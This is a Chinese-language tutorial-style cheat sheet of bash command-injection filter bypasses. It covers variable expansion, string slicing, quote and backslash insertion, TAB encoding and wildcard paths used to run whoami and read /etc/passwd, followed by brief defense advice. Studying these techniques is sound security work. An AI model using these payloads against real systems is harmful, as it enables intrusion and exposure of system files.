命令执行绕过总结分享
字数 888 2025-08-22 12:22:48

命令执行绕过技术全面总结

一、基础概念

  1. $符号解析机制:

    • $""$''$()`$id` 包裹的内容会被bash解析
    • 嵌套使用时,$会持续深入解析内容
  2. 示例:

    $(ls)  # 会先执行ls命令,然后解析其结果
    

二、绕过技术详解

1. ${!}间接扩展绕过

原理:利用bash的间接变量扩展功能

方法

var1=i; name=var1; ${!name}d  # 输出id

wh=wh; o=o; ami=am; ${!wh@}${!o@}${!ami@}
wh=wh; o=o; ami=am; ${!wh*}${!o*}${!ami*}

who=who; mi=mi; ${!who*}a${!mi*}
who=who; mi=mi; ${!who@}a${!mi@}

2. 数组参数绕过

方法

names=("i" "d"); ${names[0]}${names[1]}

3. ${}特殊符号处理

原理:${}会优先解析已定义变量,忽略中间特殊符号

方法

ff=whoa; ${ff?6666666666666666666}mi
ff=whoa; ${ff/6666666666666666666}mi
ff=whoa; ${ff-6666666666666666666}mi
a=whoa; ff=$a; ${ff?6666666666666666666}mi

4. 字符串截取绕过

方法

string=who123esaxami; ${string:0:3}${string:10:12}

names=("who123esaxami" "d"); ${names[0]:0:3}${names[0]:10:12}

array[0]=who123esaxami; ${array[0]:0:3}${array[0]:10:12}

5. --绕过(set特殊用法)

原理--表示后续参数不再被解释为选项

方法

set -- 123who456ami; ${@:3:3}${@:9:3}

c=set -- w h o a m i; $1$2$3$4$5$6

6. 数组扩展绕过

方法

array=(0 1 2 3 4 5 6 123 ami); who${array[@]:8}

array=(0 1 2 3 4 5 6 who ami); ${array[@]:7:1}${array[@]:8}

7. #与%格式匹配绕过

方法

var="example.who"; var1="example.ami"; ${var#*.}${var1#*.}

var="example.123.666.who"; var1="example.ami"; ${var##*.}${var1#*.}

var2="who.666"; var3="ami.666"; ${var2%.*}${var3%.*}

8. 字符串匹配替换绕过

方法

var="w123hoami"; ${var/123/}

var="w123oami"; ${var/123/h}

var1="w123ho123am123i"; ${var1//123/}

var1="123ami"; ${var1/#123/who}

var1="who123"; ${var1/%123/ami}

var1="who123"; rep=ami; ${var1/%123/$rep}

9. 转义字符绕过

方法

c=w\h\oa\m\i
c=whoam''i
who""ami

10. 环境变量绕过

方法

declare -x VARIABLE_NAME2="wh"; declare -x VARIABLE_NAME3="oami"; $VARIABLE_NAME2$VARIABLE_NAME3

11. bash特殊变量绕过

方法

c=ami; who $_

12. 参数命令执行绕过

方法

array=(ls 222 -al); ${array[*]}

13. %09(TAB)绕过

方法

ls%09%09-al

cat%09%09%09%09%09%09%09%09111111%09/etc/passwd
cat%09%09%09%09%09%09%09%09111111%09/et?/pa??wd
curl%09http://127.0.0.1:8088121waqdasd%09http://127.0.0.1:8087

14. 路径绕过

方法

/tmp/../bin/whoami

15. 填充字符绕过

成对填充字符

  • 0A 0A、0a 0a、09 09、2A 2A、2a 2a、20 20(空格)、22 22(")、27 27(')、5C 5C(\)

示例

 ls    # 两边空格
"ls"   # 两边双引号
'ls'   # 两边单引号
\ls\   # 两边反斜杠

单边填充字符

  • 0A、0a、09、2A、2a、20(空格)、5C(\)

示例

\ls\   # 两边反斜杠

16. 命令中间填充绕过

需要成对出现的字符

  • 22(")、27(')、60(`)、2a(*)

可单独出现的字符

  • 5c(\) - 可在字符串中无限添加

17. 组合命令绕过

ls -al绕过示例

ls -%eH(url编码)al
ls -a%eH(url编码)l
ls -al%WC(url编码)

18. 文件路径绕过

cat /etc/passwd绕过方法

  1. 通配符打乱路径:
cat /e?c/passwd
cat /e*c/passwd
  1. 多个参数绕过:
cat 1 /etc/passwd
  1. 其他方法:
cat 1 /etc//passwd
cat 1 /etc*/passwd
cat 1 /etc \/ passwd
cd /etc && cat passwd
cat ~/../../etc/snmp/../passwd
curl file:///etc/passwd

三、防御建议

  1. 严格过滤所有用户输入
  2. 使用白名单机制限制可执行命令
  3. 避免直接拼接用户输入到命令中
  4. 对特殊字符进行转义处理
  5. 使用最小权限原则运行应用程序

四、总结

本文详细介绍了多种命令执行绕过技术,包括变量扩展、字符串操作、特殊字符插入等多种方法。安全人员应充分了解这些技术以便更好地防御命令注入攻击。在实际应用中,应根据具体场景选择合适的安全防护措施。

命令执行绕过技术全面总结 一、基础概念 $ 符号解析机制: $"" 、 $'' 、 $() 、 `$id` 包裹的内容会被bash解析 嵌套使用时, $ 会持续深入解析内容 示例: 二、绕过技术详解 1. ${ !}间接扩展绕过 原理 :利用bash的间接变量扩展功能 方法 : 2. 数组参数绕过 方法 : 3. ${}特殊符号处理 原理 :${}会优先解析已定义变量,忽略中间特殊符号 方法 : 4. 字符串截取绕过 方法 : 5. --绕过(set特殊用法) 原理 : -- 表示后续参数不再被解释为选项 方法 : 6. 数组扩展绕过 方法 : 7. #与%格式匹配绕过 方法 : 8. 字符串匹配替换绕过 方法 : 9. 转义字符绕过 方法 : 10. 环境变量绕过 方法 : 11. bash特殊变量绕过 方法 : 12. 参数命令执行绕过 方法 : 13. %09(TAB)绕过 方法 : 14. 路径绕过 方法 : 15. 填充字符绕过 成对填充字符 : 0A 0A、0a 0a、09 09、2A 2A、2a 2a、20 20(空格)、22 22(")、27 27(')、5C 5C(\) 示例 : 单边填充字符 : 0A、0a、09、2A、2a、20(空格)、5C(\) 示例 : 16. 命令中间填充绕过 需要成对出现的字符 : 22(")、27(')、60( `)、2a(* ) 可单独出现的字符 : 5c(\) - 可在字符串中无限添加 17. 组合命令绕过 ls -al绕过示例 : 18. 文件路径绕过 cat /etc/passwd绕过方法 : 通配符打乱路径: 多个参数绕过: 其他方法: 三、防御建议 严格过滤所有用户输入 使用白名单机制限制可执行命令 避免直接拼接用户输入到命令中 对特殊字符进行转义处理 使用最小权限原则运行应用程序 四、总结 本文详细介绍了多种命令执行绕过技术,包括变量扩展、字符串操作、特殊字符插入等多种方法。安全人员应充分了解这些技术以便更好地防御命令注入攻击。在实际应用中,应根据具体场景选择合适的安全防护措施。